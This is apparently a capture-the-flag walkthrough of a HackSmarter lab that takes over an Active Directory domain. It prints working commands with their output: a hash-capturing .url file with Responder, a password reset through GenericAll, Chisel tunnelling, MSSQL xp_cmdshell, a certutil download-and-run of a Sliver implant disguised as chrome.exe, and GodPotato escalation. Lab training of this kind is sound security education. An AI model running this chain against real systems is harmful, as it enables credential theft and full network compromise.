Zerotrace Logs

ShareThePain

Overview

As a penetration tester on the Hack Smarter Red Team, the mission is to infiltrate and seize control of the client's entire Active Directory environment. This engagement simulates a full-scale assault to expose and exploit every vulnerability.

Initial Access: Direct access to the internal network with no credentials.

Goal: Enumerate, exploit, and achieve full domain compromise.

Reconnaissance

[Step 1] Nmap Scan

I started with a comprehensive port scan to identify all available services:

$ nmap -p- -T4 -sC -sV -Pn 10.1.25.158 -o nmap

Key findings:

The scan identified this as a Domain Controller (DC01.hack.smarter) running Windows Server 2022.

Initial Access

[Step 2] SMB Enumeration

I checked for null session access on SMB shares:

$ nxc smb hack.smarter -u ' ' -p '' --shares
SMB   10.1.25.158  445  DC01  [+] hack.smarter\ : (Guest)
SMB   10.1.25.158  445  DC01  Share           Permissions     Remark
SMB   10.1.25.158  445  DC01  -----           -----------     ------
SMB   10.1.25.158  445  DC01  Share           READ,WRITE

The Share folder has READ,WRITE access - this is significant for credential harvesting.

What is LLMNR/NBT-NS Poisoning?
When Windows systems cannot resolve hostnames via DNS, they fall back to broadcast protocols (LLMNR/NBT-NS). An attacker on the same network can respond to these requests, tricking victims into authenticating against the attacker's machine and capturing their NTLMv2 hashes.

[Step 3] Credential Harvesting with URL File

I created a malicious URL shortcut that forces any user browsing the share to authenticate back to my machine:

$ cat @pwn.url
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\10.200.25.158\share\icon.ico
IconIndex=1

Started Responder to capture authentication attempts:

$ sudo responder -I tun0 -v

Uploaded the malicious file to the writable share:

$ smbclient //10.1.25.158/Share -N -c 'put @pwn.url'

Within minutes, I captured an NTLMv2 hash:

[SMB] NTLMv2-SSP Username : HACK\bob.ross
[SMB] NTLMv2-SSP Hash     : bob.ross::HACK:7f7dc36e91980a6b:BA6C77...

[Step 4] Cracking the Hash

$ hashcat hash /usr/share/wordlists/rockyou.txt

Credentials obtained: bob.ross:[REDACTED]

Verified the credentials work:

$ nxc smb hack.smarter -u bob.ross -p '[REDACTED]'
SMB   10.1.25.158  445  DC01  [+] hack.smarter\bob.ross:[REDACTED]

Domain Enumeration

[Step 5] BloodHound Collection

I collected Active Directory data for analysis:

$ nxc ldap 10.1.25.158 -u bob.ross -p '[REDACTED]' --bloodhound --collection All --dns-server 10.1.25.158

[Step 6] Attack Path Discovery

After importing the data into BloodHound, I discovered that bob.ross has GenericAll rights over alice.wonderland.

BloodHound showing bob.ross has GenericAll over alice.wonderland

What is GenericAll?
GenericAll grants full control over an object, including the ability to reset passwords, modify group membership, and change attributes. It is one of the most powerful permissions in Active Directory.

Lateral Movement

[Step 7] Password Reset via GenericAll

With GenericAll rights, I forced a password change on alice.wonderland:

$ net rpc password "alice.wonderland" 'Zerotrace123!' -U 'hack.smarter/bob.ross%[REDACTED]' -S 10.1.25.158

Verified the new credentials:

$ nxc smb hack.smarter -u alice.wonderland -p 'Zerotrace123!'
SMB   10.1.25.158  445  DC01  [+] hack.smarter\alice.wonderland:[REDACTED]

[Step 8] Shell Access via WinRM

BloodHound showed that alice.wonderland is a member of Remote Management Users:

alice.wonderland is member of Remote Management Users

$ evil-winrm -u alice.wonderland -p 'Zerotrace123!' -i 10.1.25.158

*Evil-WinRM* PS C:\Users\alice.wonderland\Documents>

[User Flag]

*Evil-WinRM* PS C:\Users\alice.wonderland\Desktop> type user.txt
bWFkZV9pdF90aGlzX2Zhcgo=

Privilege Escalation

[Step 9] Internal Service Discovery

While enumerating the system, I found a SQL2019 folder and checked for internal services:

*Evil-WinRM* PS C:\> netstat -ano | findstr 1433
  TCP    127.0.0.1:1433         0.0.0.0:0              LISTENING       4240

MSSQL is running on localhost only - I need to tunnel this traffic.

[Step 10] Port Forwarding with Chisel

Attack host - Start server:

$ sudo chisel server -p 8000 --reverse --socks5

Target - Upload and run client:

*Evil-WinRM* PS C:\Users\alice.wonderland\Documents> upload chisel.exe
*Evil-WinRM* PS C:\Users\alice.wonderland\Documents> ./chisel.exe client 10.200.25.158:8000 R:socks

Configure proxychains (/etc/proxychains4.conf):

[ProxyList]
socks5  127.0.0.1 1080

[Step 11] MSSQL Access

$ proxychains mssqlclient.py -p 1433 [email protected] -windows-auth

Checked privileges - the user is sysadmin:

SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
-----------
          1

Command execution via xp_cmdshell works:

SQL> xp_cmdshell "whoami"
nt service\mssql$sqlexpress

[Step 12] Implant Deployment

Generated a Sliver implant:

sliver > generate --mtls 10.200.25.158:450 --os windows --arch amd64 --save .
sliver > mtls -L 10.200.25.158 -l 450

Transferred and executed via MSSQL:

SQL> xp_cmdshell "certutil.exe -urlcache -f http://10.200.25.158/chrome.exe C:\Users\Public\chrome.exe"
SQL> xp_cmdshell "C:\Users\Public\chrome.exe"

[Step 13] SeImpersonatePrivilege Exploitation

The MSSQL service account has SeImpersonatePrivilege:

SeImpersonatePrivilege          Impersonate a client after authentication       Enabled
What is SeImpersonatePrivilege?
This privilege allows a process to impersonate other users. Service accounts typically have this privilege, and it can be abused using "Potato" attacks to escalate to SYSTEM.

Uploaded GodPotato for privilege escalation:

sliver (SHOCKED_KITCHEN) > upload godpotato.exe C:\Users\Public\godpotato.exe

Verified SYSTEM impersonation works:

PS C:\Users\Public> ./godpotato.exe -cmd "whoami"
nt authority\system

[Step 14] Domain Admin Access

Added alice.wonderland to the local Administrators group:

PS C:\Users\Public> ./godpotato.exe -cmd "net localgroup Administrators alice.wonderland /add"
The command completed successfully.

Root Flag

After re-authenticating with the elevated account:

$ evil-winrm -u alice.wonderland -p 'Zerotrace123!' -i 10.1.25.158

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
YWxsIGFib3V0IHRoYXQgcm9vdCwgYm91dCB0aGF0IHJvb3QsIEpVU1QgREEK

Tools Used

Attack Chain Summary

  1. Initial Access: Exploited writable SMB share to plant LLMNR poisoning file
  2. Credential Capture: Captured bob.ross NTLMv2 hash via Responder
  3. Lateral Movement: Used GenericAll rights to reset alice.wonderland password
  4. Internal Pivot: Tunneled to internal MSSQL server via Chisel
  5. Code Execution: Achieved RCE through MSSQL xp_cmdshell
  6. Privilege Escalation: Exploited SeImpersonatePrivilege with GodPotato
  7. Domain Compromise: Added controlled user to Administrators group

Lessons Learned

For Defenders

Key Takeaways

This machine demonstrates a realistic Active Directory attack chain, from initial access through domain compromise. The attack leveraged several common misconfigurations:

Understanding these attack paths is essential for both offensive security professionals and defenders looking to harden their environments.

Walkthrough by Zerotrace | HackSmarter Labs